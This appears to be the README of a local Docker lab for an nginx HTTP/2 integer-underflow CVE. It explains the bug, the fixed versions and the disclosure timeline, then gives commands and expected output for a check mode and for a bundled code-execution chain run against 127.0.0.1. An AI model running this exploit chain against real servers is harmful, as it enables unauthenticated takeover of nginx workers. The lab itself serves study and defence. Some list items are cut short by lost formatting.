Local lab for CVE-2026-123007 (nginx HTTP/2 integer underflow): vulnerable Docker container + proof-of-concept

Educational use only. This repository is a local, self-contained lab for learning how the bug works. Do not run it against systems you do not own or have written permission to test.
A critical flow-control bug in nginx HTTP/2 can let an unauthenticated client corrupt worker memory and, under specific conditions, execute code. This lab runs the real vulnerable nginx image and includes a small PoC that proves the root cause on your machine.
The full write-up — how the accounting error works, why it needs 128 GB of traffic, and what the fix changed — is in article.md.
| Item | Detail |
|---|---|
| CVE | CVE-2026-123007 |
| Type | Integer underflow (CWE-191) |
| CVSS v4 | 9.2 Critical (AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H) |
| Component | nginx HTTP/2 response flow control |
| Impact | Memory disclosure, worker crash, code execution as the nginx worker |
| Attack vector | Remote, unauthenticated, single HTTP/2 connection |
| Disclosed | November 18, 2026 (Rapid7 / F5) |
| Credit | Stephen Fewer, Rapid7 |
HTTP/2 flow control gives the client control over how much response data nginx may send. nginx tracks two counters: one for each stream and one for the connection (h2c->send_window, an unsigned size_t).
SETTINGS_INITIAL_WINDOW_SIZE change can close over-credited streams while leaving the connection alive, so the connection window ends up above 2^31-1.WINDOW_UPDATE bounds check computes MAX - h2c->send_window. Because the counter is above MAX, the unsigned subtraction underflows to a huge value, so the check passes and the client can push the window toward 2^64.off_t response length. It becomes negative, nginx creates an inverted output buffer (last < pos), and the TLS output path passes the negative length to memcpy as a huge size_t. The result is an out-of-bounds read/write: data disclosure first, then a controlled overwrite of a request-pool cleanup callback that can run system() in the worker.Sending a corrupted request is not enough on its own. Practical exploitation requires direct TCP/TLS access (so backpressure works), a fresh worker heap, roughly 119 GiB of plaintext traffic, and an x86-64 glibc build whose runtime-selected memcpy uses the EVEX/YMM path (avx512f + avx512vl).
Fixed versions are available:
| Product | Vulnerable | Fixed |
|---|---|---|
| nginx Open Source | 1.31.0 – 1.31.8 | 1.31.9 |
| nginx Open Source | 1.9.5 – 1.30.6 | 1.30.7 |
| NGINX Plus | 37.1.0 – 37.2.0.1 | 37.3.0.1 |
| NGINX Plus | 37.0.0 – 37.0.7.1 | 37.0.8.1 |
| NGINX Plus | R34 – R36 | No fix |
Timeline: Rapid7 contacted F5 on November 11, 2026; F5 confirmed the issue and assigned the CVE; coordinated disclosure was on November 18, 2026. If you run nginx with http2 on, upgrade. Disabling HTTP/2 removes the attack surface until you can patch.
.
├── docker/
│ ├── Dockerfile # pinned vulnerable image, nginx 1.31.8
│ ├── docker-compose.yml # publishes 127.0.0.1:19443
│ ├── entrypoint.sh # creates a self-signed certificate
│ └── nginx.conf # TLS + http2 on
├── engine/ # published RCE chain (Rapid7 PoC, credited below)
│ ├── nginx_rce/ # protocol, heap layout, reclaim, dispatch
│ ├── profiles/ # calibrated nginx 1.31.8 target profile
│ ├── streamer.c # native bulk-traffic helper
│ └── requirements.txt
├── exploit.py # entry point: check, crash, or run a command
├── assets/
│ └── underflow.gif # animated diagram for section 4
├── article.md # full write-up of the bug and the lab
├── cover.png # article cover
├── cover.svg # vector source for the cover
└── README.md
cryptography for command execution:
pip install -r engine/requirements.txtgcc, libssl-dev) to build engine/streamercurl (optional, for manual checks)Start the vulnerable server:
cd docker
docker compose up -d --build
Verify it is serving the stock 896-byte page over HTTP/2:
curl -sk --http2 -o /dev/null -w '%{http_version} %{http_code} %{size_download}\n' \
https://127.0.0.1:19443/index.html
Expected:
2 200 896
Run the quick check:
cd ..
python3 exploit.py --target https://127.0.0.1:19443/
Expected output:
[*] target : https://127.0.0.1:19443/
[*] server : nginx/1.31.8
[*] index.html : 896 bytes
[*] tls : TLSv1.3 alpn=h2
[*] building TLS record boundary: 262144 KeyUpdate records
[+] over-credit : stream cleanup restored credit above 2^31-1
[+] underflow : next WINDOW_UPDATE passed the unsigned guard
[+] status : CVE-2026-123007 confirmed
This takes about 45 seconds and sends only a few megabytes. It is safe to repeat; restart the container between attempts if you want a fresh worker:
docker restart cve-2026-123007
SETTINGS change.FLOW_CONTROL_ERROR (RST_STREAM) instead of killing the connection, and cleanup refunds their reserved bytes, leaving the connection window above 2^31-1.WINDOW_UPDATE is accepted anyway, and a PING sent afterwards is acknowledged. That is the underflow: the guard MAX - send_window wrapped around.A patched nginx fails this check, because the connection window invariant is restored before the streams are closed. Verified results:
| Target image | Output |
|---|---|
nginx:1.31.8 (vulnerable) | [+] status : CVE-2026-123007 confirmed |
nginx:1.31.9 (fixed) | [-] error : over-credited streams were not reset: {} |
The full command-execution chain is included under engine/. Install its two prerequisites once:
pip install -r engine/requirements.txt
sudo apt install gcc libssl-dev
Restart the container so the worker heap is fresh, then pass --cmd:
docker restart cve-2026-123007
python3 exploit.py --target https://127.0.0.1:19443/ --cmd 'id > /tmp/proof'
docker exec cve-2026-123007 cat /tmp/proof
Expected output:
[*] streamer : building native helper
[*] target : https://127.0.0.1:19443/
[*] profile : golden-nginx-1.31.8-debian13-amd64
[*] command : id > /tmp/proof
[*] dispatch : about 119 GiB of traffic, a few minutes
...
[+] code execution dispatched
[*] addresses : holder=0x... nginx=0x... libc=0x...
[*] traffic : 119.02 GiB, 16 auxiliary connections
And inside the container:
uid=101(nginx) gid=101(nginx) groups=101(nginx)
Notes: